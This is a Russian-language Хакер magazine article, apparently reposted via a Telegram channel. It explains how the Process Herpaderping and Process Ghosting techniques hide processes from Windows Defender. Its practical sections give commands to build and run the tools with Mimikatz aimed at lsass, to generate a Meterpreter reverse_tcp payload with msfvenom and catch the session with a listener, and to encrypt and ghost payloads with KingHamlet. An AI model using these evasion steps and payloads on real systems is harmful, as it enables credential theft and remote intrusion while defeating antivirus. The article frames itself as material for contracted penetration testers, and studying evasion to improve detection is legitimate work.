Хакер - Herpaderping и Ghosting. Изучаем два новых способа скрывать процессы от антивирусов

Хакер - Herpaderping и Ghosting. Изучаем два новых способа скрывать процессы от антивирусов

hacker_frei

https://t.me/hacker_frei

be_a_saint 

Содержание статьи

  • Особенности процессов
  • Важно понимать
  • Создание процесса
  • Сканирование процесса в поисках зловреда
  • Отличия двух техник
  • Herpaderping
  • Herpaderping на практике
  • Ghosting
  • Ghosting на практике
  • Выводы

Из­бежать обна­руже­ния полез­ной наг­рузки анти­виру­сами — важ­ней­шая задача не толь­ко вирусо­писа­телей, но и пен­тесте­ров и учас­тни­ков red team. Для это­го сущес­тву­ют раз­личные тех­ники. Сегод­ня мы под­робно рас­смот­рим две из них: Herpaderping и Ghosting. О двух дру­гих методи­ках — Hollowing и Doppelgänging — мож­но почитать в статье «Мас­киру­ем запуск про­цес­сов при помощи Process Doppelgänging».

Для прос­тоты в наших экспе­римен­тах мы будем исполь­зовать Microsoft Defender и Mimikatz.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

ОСОБЕННОСТИ ПРОЦЕССОВ

Как анти­вирус узна­ет, что в сис­теме был запущен какой‑либо про­цесс? Microsoft дает воз­можность раз­работ­чикам анти­вирус­ных решений получать через API нуж­ные им события (нап­ример, PsSetCreateProcessNotifyRoutineEx). Ког­да соз­дает­ся про­цесс, Microsoft Defender (да и все осталь­ные анти­виру­сы) сра­зу узна­ет об этом, получив соот­ветс­тву­ющий callback. Теперь‑то он может про­инспек­тировать исполня­емый файл и сде­лать вывод, раз­решить этот про­цесс или нет (опус­тим этап ста­тичес­кого ана­лиза).

Вся шту­ка в том, что уве­дом­ление CreateProcessNotify— ни разу не про соз­дание про­цес­са. Callback полетит тог­да, ког­да внут­ри это­го про­цес­са воз­никнет пер­вый поток (thread). Меж­ду момен­тами, ког­да про­цесс был соз­дан и ког­да анти­вирус­ное решение об этом узна­ло, обра­зует­ся про­межу­ток. Это самое вре­мя зло­умыш­ленни­ки твор­чески исполь­зуют для сво­их целей.

Важно понимать

Ис­полня­емый файл — это не про­цесс. Исполня­емый файл может быть свя­зан со мно­жес­твом про­цес­сов (в Task Manager мож­но лег­ко прос­ледить, сколь­ко про­цес­сов свя­зано, нап­ример, с RuntimeBroker.exe или svchost.exe). Каж­дый про­цесс обя­затель­но будет свя­зан с каким‑либо PE-фай­лом (.exe.dll и дру­гие). При этом про­цес­сы пре­дос­тавля­ют ресур­сы, необ­ходимые для выпол­нения прог­раммы.

Про­цесс содер­жит вир­туаль­ное адресное прос­транс­тво, исполня­емый код, откры­тые дес­крип­торы для сис­темных объ­ектов, кон­текст безопас­ности, уни­каль­ный иден­тифика­тор про­цес­са, перемен­ные сре­ды, класс при­ори­тета, минималь­ный и мак­сималь­ный раз­меры рабоче­го мно­жес­тва и по край­ней мере один поток выпол­нения.

По­ток — это базовая еди­ница, в которой опе­раци­онная сис­тема выделя­ет про­цес­сорное вре­мя. Поток может выпол­нять любую часть кода про­цес­са, вклю­чая час­ти, которые в дан­ный момент выпол­няют­ся дру­гим потоком.

Создание процесса

Рас­смот­рим соз­дание про­цес­са по шагам.

  1. Сна­чала мы получа­ем дес­крип­тор (handle) для исполня­емо­го фай­ла, который запус­каем, нап­ример так: hFile = CreateFile(“C:\Windows\System32\svchost.exe”).
  2. Соз­даем image section (нап­ример, hSection = NtCreateSection(hFile, SEC_IMAGE)). Image section пред­став­ляет собой осо­бый раз­дел и слу­жит для отоб­ражения фай­ла (или час­ти фай­ла) в память. Раз­дел соот­ветс­тву­ет PE-фай­лам и может быть соз­дан толь­ко в них.
  3. Соз­даем про­цесс в image section (нап­ример, hProcess = NtCreateProcessEx(hSection)).
  4. Наз­нача­ем аргу­мен­ты и перемен­ные сре­ды (нап­ример, CreateEnvironmentBlock/NtWriteVirtualMemory).
  5. Соз­даем поток для выпол­нения про­цес­са (нап­ример, NtCreateThreadEx).

Важ­ный момент: про­цес­сы запус­кают­ся из исполня­емых фай­лов, но информа­ция внут­ри исполня­емо­го фай­ла может менять­ся отно­ситель­ного того, что находит­ся в image section (так как она кеширу­ется memory manager).

Сканирование процесса в поисках зловреда

Как уже было ска­зано, анти­виру­сы могут получать уве­дом­ления о событи­ях соз­дания про­цес­сов и потоков (PsSetCreateProcessNotifyRoutineEx и PsSetCreateThreadNotifyRoutineEx).

Выг­лядит это при­мер­но так:

typedef struct _PS_CREATE_NOTIFY_INFO {

SIZE_T Size;

union {

ULONG Flags;

struct {

ULONG FileOpenNameAvailable : 1;

ULONG IsSubsystemProcess : 1;

ULONG Reserved : 30;

};

};

HANDLE ParentProcessId;

CLIENT_ID CreatingThreadId;

struct _FILE_OBJECT *FileObject;

PCUNICODE_STRING ImageFileName;

PCUNICODE_STRING CommandLine;

NTSTATUS CreationStatus;

} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

Из инте­рес­ного: FILE_OBJECT соот­ветс­тву­ет дес­крип­тору NtCreateSection. Если же мы взгля­нем на API NtCreateProcess, то уви­дим там тоже дес­крип­тор раз­дела, а не фай­ла.

NTSYSCALLAPI

NTSTATUS

NTAPI

NtCreateProcess(

_Out_ PHANDLE ProcessHandle,

_In_ ACCESS_MASK DesiredAccess,

_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,

_In_ HANDLE ParentProcess,

_In_ BOOLEAN InheritObjectTable,

_In_opt_ HANDLE SectionHandle,

_In_opt_ HANDLE DebugPort,

_In_opt_ HANDLE ExceptionPort

);

ОТЛИЧИЯ ДВУХ ТЕХНИК

Для прос­тоты я свел отли­чия опи­сыва­емых в статье тех­ник в таб­лицу.

ТЕХ­НИКАДЕЙ­СТВИЯHollowingmap → modify section → executeDoppelgängingtransact → write → map → rollback → executeHerpaderpingwrite → map → modify → execute → closeGhostingdelete pending → write → map → close(delete) → execute 

HERPADERPING

Нам пот­ребу­ется mimikatz.exe, целевой исполня­емый файл (тут мож­но ука­зывать что угод­но, у нас это будет hack.exe) и любой файл, не вызыва­ющий подоз­рений у анти­вирус­ных прог­рамм. Раз­берем методи­ку Herpaderping по шагам.

  1. Write. Соз­даем и откры­ваем hack.exe, копиру­ем в него mimikatz.exe, дес­крип­тор не зак­рыва­ем.
  2. Map. Соз­даем image section и мапим содер­жимое в память.
  3. Modify. Соз­даем про­цесс с дес­крип­тором ранее соз­данно­го раз­дела. Пос­ле это­го меня­ем содер­жимое фай­ла hack.exe, копируя туда что‑нибудь легитим­ное. Пом­нишь важ­ный момент из раз­дела про соз­дание про­цес­са? Так вот это он и есть: с это­го момен­та то, что у нас в памяти, и то, что хра­нит­ся в фай­ле, отли­чает­ся.
  4. Execute. Соз­даем initial thread. Толь­ко сей­час анти­виру­су летит process creation callback. Раз­личие содер­жимого в фай­ле и в памяти сво­дит с ума Defender, он не может понять, мож­но ли раз­решать выпол­нение это­го про­цес­са.
  5. Close. Зак­рыва­ем откры­тый дес­крип­тор.

Herpaderping на практике

За все­ми дей­стви­ями будет наб­людать пол­ностью обновлен­ный Microsoft Defender. Естес­твен­но, если дроп­нуть на диск Mimikatz или пей­лоад из MSFvenom в «чис­том» виде, он тут же будет обна­ружен анти­виру­сом. Нам нуж­но обой­ти ста­тичес­кий ана­лиз, но этот этап мы сей­час рас­смат­ривать не будем.

Defender

Ко­пиру­ем про­ект из GitHub и собира­ем его.

git clone https://github.com/jxy-s/herpaderping.git

cd .\herpaderping\

git submodule update --init –recursive

Ко­пиру­ем про­ект

Вы­пол­няем коман­ду

ProcessHerpaderping.exe mimikatz.exe hack.exe lsass.exe

Вы­пол­нение ProcessHerpaderping.exe

Как мы видим, все выпол­нилось успешно, Defender не сре­аги­ровал. Давай взгля­нем, что покажет нам ProcessHacker.

ProcessHacker

У нас исполня­ется не mimikatz.exe, а hack.exe. А еще у нашего при­ложе­ния hack.exe есть сер­тификат, выдан­ный Microsoft.

У нашего при­ложе­ния есть сер­тификат

Ну а сам hack.exe спо­кой­но лежит на рабочем сто­ле.

Ра­бочий стол

Этот при­ем работа­ет не толь­ко с Mimikatz: давай проб­росим себе сес­сию Meterpreter. Для это­го сге­нери­руем полез­ную наг­рузку и запус­тим лис­тенер.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=9001 -f exe > met.exe

Payload generation

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.197

set LPORT 9001

exploit

Вы­пол­ним те же дей­ствия и гля­нем, при­лете­ла ли сес­сия.

Вы­пол­нение met.exe
По­лучен­ная сес­сия

Ура, получи­лось!

GHOSTING

Для исполь­зования это­го метода нам опять же пот­ребу­ется наш исходный файл (mimikatz.exe) и целевой исполня­емый файл. В качес­тве таково­го мож­но ука­зывать что угод­но, у нас это будет уже при­выч­ный нам hack.exe. Как и в прош­лый раз, раз­берем тех­нологию по шагам.

  1. Delete pending. Delete Pending — это сос­тояние, при котором файл еще не уда­лен, потому что дес­крип­тор на него открыт. Как толь­ко дес­крип­тор зак­роет­ся, файл уда­лит­ся. Соз­даем файл и перево­дим в сос­тояние delete-pending, исполь­зуя NtSetInformationFile (FileDispositionInformation). Исполь­зование FILE_DELETE_ON_CLOSE не уда­лит файл.
  2. Write. Копиру­ем наш исходный исполня­емый файл в соз­данный файл. Содер­жимое не сох­раня­ется, так как файл находит­ся в сос­тоянии delete-pending. Так­же это сос­тояние бло­киру­ет попыт­ки открыть файл извне.
  3. Map. Соз­даем image section и мапим содер­жимое в память.
  4. Сlose(delete). Зак­рыва­ем дес­крип­тор, файл уда­ляет­ся.
  5. Execute. Соз­даем про­цесс с дес­крип­тором ранее соз­данно­го раз­дела. Соз­даем initial thread. В этот момент анти­виру­су нап­равля­ется process creation callback, но файл уже уда­лен. Попыт­ка открыть его завер­шится с ошиб­кой STATUS_FILE_DELETED. Если поп­робовать открыть файл до того, как он будет уда­лен, получишь ту же самую ошиб­ку.

Ghosting на практике

Ко­пиру­ем про­ект и собира­ем. Либо кача­ем уже соб­ранный про­ект из GitHub.

Вы­пол­няем коман­ду

proc_ghost64.exe mimikatz.exe hack.exe

Вы­пол­нение proc_ghost64.exe

Как мы видим, сно­ва все выпол­нилось успешно и Defender не сре­аги­ровал. Теперь давай оце­ним информа­цию, которую пре­дос­тавит нам ProcessHacker.

ProcessHacker

Сто­ит обра­тить вни­мание на еще один инс­тру­мент, который реали­зует дан­ную тех­нику, — KingHamlet. Он так­же реали­зует воз­можнос­ти крип­тования исходно­го пей­лоада:

KingHamlet.exe mimikatz.exe key

KingHamlet

А process ghosting исполь­зует­ся на сле­дующем шаге:

KingHamlet.exe mimikatz.exe.khe key hack.exe

KingHamlet

KingHamlet так­же отра­ботал успешно. В ProcessHacker мы уви­дим сле­дующее.

ProcessHacker пос­ле при­мене­ния KingHamlet

ВЫВОДЫ

По­веде­ние Microsoft по отно­шению к опи­сан­ным в этой статье методам не до кон­ца понят­но. То ком­пания заяв­ляет, что выпус­тила зак­рыва­ющий патч, то Microsoft Security Response Center (MSRC) неожи­дан­но сооб­щает: проб­лема не соот­ветс­тву­ет кри­тери­ям, тре­бующим выпус­тить обновле­ние безопас­ности или инс­трук­ции по пре­дот­вра­щению атак. Но как видим, пока эти механиз­мы работа­ют без каких‑либо труд­ностей, глав­ное — обой­ти ста­тичес­кий ана­лиз.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page